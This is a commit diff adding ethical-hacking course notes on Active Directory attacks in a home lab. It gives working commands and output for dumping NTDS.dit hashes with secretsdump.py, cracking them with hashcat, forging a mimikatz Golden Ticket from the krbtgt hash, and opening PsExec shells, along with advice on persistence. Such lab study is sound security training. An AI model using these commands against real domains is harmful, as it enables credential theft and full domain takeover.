Skip to content

Commit aa73b2f

Browse files
committed
feat: concluded ad attacks
1 parent 07c4321 commit aa73b2f

File tree

5 files changed

+180
-6
lines changed

5 files changed

+180
-6
lines changed
Loading
Loading

peh/4-active-directory/1-ad-lab.md

+6
Original file line numberDiff line numberDiff line change
@@ -52,6 +52,12 @@ setspn -T MARVEL.local -Q */*
5252

5353
![](.gitbook/assets/2024-07-15_23-41-00_638.png)
5454

55+
- Open `Powershell` as admin and set timezone
56+
57+
```bash
58+
Set-TimeZone "W. Europe Standard Time"
59+
```
60+
5561
---
5662

5763
## Windows 10

peh/4-active-directory/4-ad-attacks.md

+168-6
Original file line numberDiff line numberDiff line change
@@ -127,7 +127,7 @@ For mitigation:
127127

128128
## Kerberoasting
129129

130-
**Kerberoasting** is a post-exploitation attack technique that attempts to obtain a password hash of an Active Directory account that has a **SPN** (Service Principal Name), focusing on the acquisition of **TGS** (Ticket Granting Server) tickets issued by the **KDC** (Key Distribution Center).
130+
➡️ **Kerberoasting** is a post-exploitation attack technique that attempts to obtain a password hash of an Active Directory account that has a **SPN** (Service Principal Name), focusing on the acquisition of **TGS** (Ticket Granting Server) tickets issued by the **KDC** (Key Distribution Center).
131131

132132
### GetUserSPNs.py
133133

@@ -165,9 +165,9 @@ For mitigation:
165165

166166
---
167167

168-
## Token Impersonation
168+
## Token impersonation
169169

170-
Tokens are temporary keys that provide access to a system or network without needing to repeatedly input credentials, similar to how cookies work.
170+
➡️ Tokens are temporary keys that provide access to a system or network without needing to repeatedly input credentials, similar to how cookies work.
171171

172172
- **Delegate** - created for logging into machine or Remote Desktop
173173
- **Impersonate** - non-interactive
@@ -239,7 +239,7 @@ For mitigation:
239239

240240
---
241241

242-
## LNK File Attack
242+
## LNK File attack
243243

244244
An attacker can place a malicious file in a shared folder, and when triggered, it captures password hashes using a tool like Responder, similar to a **watering hole attack** where a compromised website delivers malware that can drop such files onto a target's network.
245245

@@ -279,9 +279,9 @@ netexec smb 192.168.31.131 -d marvel.local -u fcastle -p Password1 -M slinky -o
279279

280280
---
281281

282-
## GPP Attacks - cPassword Attacks
282+
## GPP Attacks - cPassword attacks
283283

284-
The Group Policy Preferences (**GPP**) allowed admins to create policies with embedded credentials.
284+
➡️ The Group Policy Preferences (**GPP**) allowed admins to create policies with embedded credentials.
285285

286286
- credentials were encrypted and stored in the **cPassword** field
287287
- **encryption key** was leaked, making it possible to decrypt stored credentials
@@ -375,3 +375,165 @@ sekurlsa::logonPasswords
375375

376376
---
377377

378+
## 📌 Post-Domain Compromise Actions
379+
380+
Once the domain is owned:
381+
382+
- **Maximize value for the client:**
383+
- Repeat the process for verification
384+
- Dump `NTDS.dit` and crack passwords
385+
- Enumerate shares for sensitive data
386+
- **Maintain persistence:**
387+
- Plan for lost **Domain Admin (DA) access**
388+
- Create a temporary **DA account** (remember to delete it)
389+
- Use a **Golden Ticket** if needed
390+
391+
---
392+
393+
## Dumping NTDS.dit
394+
395+
➡️ `NTDS.dit` is the Active Directory database file used by Microsoft Windows Domain Controllers (**DCs**). It stores critical domain information, including:
396+
397+
- User and computer accounts
398+
- Password hashes
399+
- Group memberships and permissions
400+
401+
It is important because:
402+
403+
- it contains NTLM & Kerberos password hashes, making it a prime target for attackers
404+
- if dumped using tools like `Mimikatz` or `secretsdump.py`, attackers can crack hashes and gain **Domain Admin access**
405+
- it enables **privilege escalation** and **persistent access** (`e.g.` Golden Ticket attacks).
406+
407+
```bash
408+
secretsdump.py MARVEL.local/hawkeye:'Password1@'@hydra-dc.MARVEL.local -just-dc-ntlm > ntds.txt
409+
```
410+
411+
```bash
412+
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
413+
[*] Using the DRSUAPI method to get NTDS.DIT secrets
414+
Administrator:500:aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe00f49ecbd4b33:::
415+
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
416+
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:21a84dbb8f81aa02316606b488a4a9eb:::
417+
MARVEL.local\tstark:1601:aad3b435b51404eeaad3b435b51404ee:35efba6f2e4bff313e474477bb3947b0:::
418+
MARVEL.local\SQLService:1602:aad3b435b51404eeaad3b435b51404ee:f4ab68f27303bcb4024650d8fc5f973a:::
419+
MARVEL.local\fcastle:1603:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
420+
MARVEL.local\pparker:1604:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
421+
bkVKFfXduD:1607:aad3b435b51404eeaad3b435b51404ee:2622b132931c05c7906da9d35e12fbb2:::
422+
hawkeye:1608:aad3b435b51404eeaad3b435b51404ee:43460d636f269c709b20049cee36ae7a:::
423+
HYDRA-DC$:1000:aad3b435b51404eeaad3b435b51404ee:327be301d1b220fcc6612deab852b321:::
424+
THEPUNISHER$:1605:aad3b435b51404eeaad3b435b51404ee:4024a6cb78ffd9195b7f53697994ed32:::
425+
SPIDERMAN$:1606:aad3b435b51404eeaad3b435b51404ee:c8ad84ab1f78981322a0618060c0e82c:::
426+
[*] Cleaning up...
427+
```
428+
429+
- Get only the NT hashes from the response and try to crack them
430+
431+
```bash
432+
# ntds.txt
433+
920ae267e048417fcfe00f49ecbd4b33
434+
31d6cfe0d16ae931b73c59d7e0c089c0
435+
21a84dbb8f81aa02316606b488a4a9eb
436+
35efba6f2e4bff313e474477bb3947b0
437+
f4ab68f27303bcb4024650d8fc5f973a
438+
64f12cddaa88057e06a81b54e73b949b
439+
64f12cddaa88057e06a81b54e73b949b
440+
2622b132931c05c7906da9d35e12fbb2
441+
43460d636f269c709b20049cee36ae7a
442+
327be301d1b220fcc6612deab852b321
443+
4024a6cb78ffd9195b7f53697994ed32
444+
c8ad84ab1f78981322a0618060c0e82c
445+
```
446+
447+
```bash
448+
hashcat -m 1000 ntds.txt /usr/share/wordlists/rockyou.txt
449+
hashcat -m 1000 ntds.txt /usr/share/wordlists/rockyou.txt --show > ntds_hashcat.txt
450+
```
451+
452+
```bash
453+
# Check the users cracked hashes
454+
Administrator - 920ae267e048417fcfe00f49ecbd4b33:P@$$w0rd!
455+
Guest - 31d6cfe0d16ae931b73c59d7e0c089c0:
456+
MARVEL.local\SQLService - f4ab68f27303bcb4024650d8fc5f973a:MYpassword123#
457+
MARVEL.local\fcastle - 64f12cddaa88057e06a81b54e73b949b:Password1
458+
MARVEL.local\pparker - 64f12cddaa88057e06a81b54e73b949b:Password1
459+
hawkeye - 43460d636f269c709b20049cee36ae7a:Password1@
460+
```
461+
462+
---
463+
464+
## Golden Ticket
465+
466+
➡️ A **Golden Ticket attack** is a **Kerberos** authentication exploit that allows an attacker to generate forged **TGTs** (Ticket Granting Tickets), granting them **persistent** and **unrestricted access** to an Active Directory (AD) environment.
467+
468+
1. **Obtain the KRBTGT Hash** – The attacker dumps the **KRBTGT account**'s NTLM hash from the **NTDS.dit** database on a domain controller.
469+
2. **Forge a TGT** – Using `Mimikatz`, the attacker crafts a fake Kerberos TGT, setting any username, groups, or privileges.
470+
3. **Gain Domain Access** – The forged ticket is used (via **Pass-the-Ticket** attack) to request service tickets (**TGS**), allowing access to any resource without authentication expiration.
471+
4. **Persistence** – The ticket remains valid even if passwords change, as long as the KRBTGT hash is not reset twice.
472+
473+
> ❗ When `KRBTGT` (Kerberos Ticket Granting Ticket) account is compromised, the attacker owns the domain.
474+
475+
### Pass the Ticket - mimikatz
476+
477+
📌 Turn on `THEPUNISHER` (`192.168.31.93`) and `HYDRA-DC` (`192.168.31.90`) VMs.
478+
479+
- Download `Mimikatz` on the Domain Controller VM
480+
- Run `cmd` as admin on the `HYDRA-DC`. Proceed to forging a golden ticket with `Mimikatz`
481+
482+
```bash
483+
cd "C:\Users\fcastle\Downloads\mimikatz_trunk\x64"
484+
mimikatz.exe
485+
486+
# Commands
487+
privilege::debug
488+
489+
lsadump::lsa /inject /name:krbtgt
490+
```
491+
492+
- Get the Domain SID and NTLM hash of the `krbtgt` account from the output
493+
494+
```bash
495+
S-1-5-21-1796002695-2329991732-2223296958
496+
21a84dbb8f81aa02316606b488a4a9eb
497+
```
498+
499+
- Back in `Mimikatz`, generate the **golden ticket**
500+
501+
```bash
502+
kerberos::golden /User:MyAdministrator /domain:marvel.local /sid:S-1-5-21-1796002695-2329991732-2223296958 /krbtgt:21a84dbb8f81aa02316606b488a4a9eb /id:500 /ptt
503+
504+
# id:500 - Administrator account
505+
# ptt - pass the ticket into the session
506+
```
507+
508+
![](.gitbook/assets/2025-02-15_19-47-13_885.png)
509+
510+
The attacker can use the forged ticket to access Kerberos-integrated resources. Since the TGT is signed and encrypted with the legitimate KRBTGT password hash, domain controllers recognize it as valid authentication. As a result, the domain controller issues **Ticket Granting Service (TGS)** tickets based on the forged TGT.
511+
512+
- To open a session with the generated golden ticket:
513+
514+
```bash
515+
misc::cmd
516+
```
517+
518+
```bash
519+
# In the new CMD, run privileged commands
520+
dir \\THEPUNISHER\c$
521+
```
522+
523+
- [Download](https://learn.microsoft.com/en-us/sysinternals/downloads/psexec) and use `psexec.exe` to run attacks against other computers or get a remote shell on them
524+
525+
```bash
526+
cd "C:\Users\tstark\Downloads\PSTools>"
527+
PsExec.exe \\THEPUNISHER cmd.exe
528+
529+
hostname
530+
```
531+
532+
![](.gitbook/assets/2025-02-15_20-28-56_886.png)
533+
534+
`Impacket` from the Kali VM can be used too for the Pass the Ticket attack using `secretdump.py `, `lookupsid.py`, `ticketer.py`, `psexec.py`.
535+
536+
- [Golden Ticket Attack Explained - MITRE ATT&CK T1558.001](https://www.picussecurity.com/resource/blog/golden-ticket-attack-mitre-t1558.001)
537+
538+
---
539+

peh/peh-references.md

+6
Original file line numberDiff line numberDiff line change
@@ -194,6 +194,12 @@
194194

195195
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
196196

197+
- [Kerberos Golden Ticket Attack Explained - StationX](https://www.stationx.net/golden-ticket-attack/)
198+
- [Golden Ticket Attack Explained | Semperis Identity Attack Catalog](https://www.semperis.com/blog/golden-ticket-attack-explained/)
199+
- [Golden Ticket Attack Explained - MITRE ATT&CK T1558.001](https://www.picussecurity.com/resource/blog/golden-ticket-attack-mitre-t1558.001)
200+
- [rycon.hu - mimikatz's Golden Ticket](https://rycon.hu/papers/goldenticket.html)
201+
202+
197203

198204

199205

0 commit comments

Comments
 (0)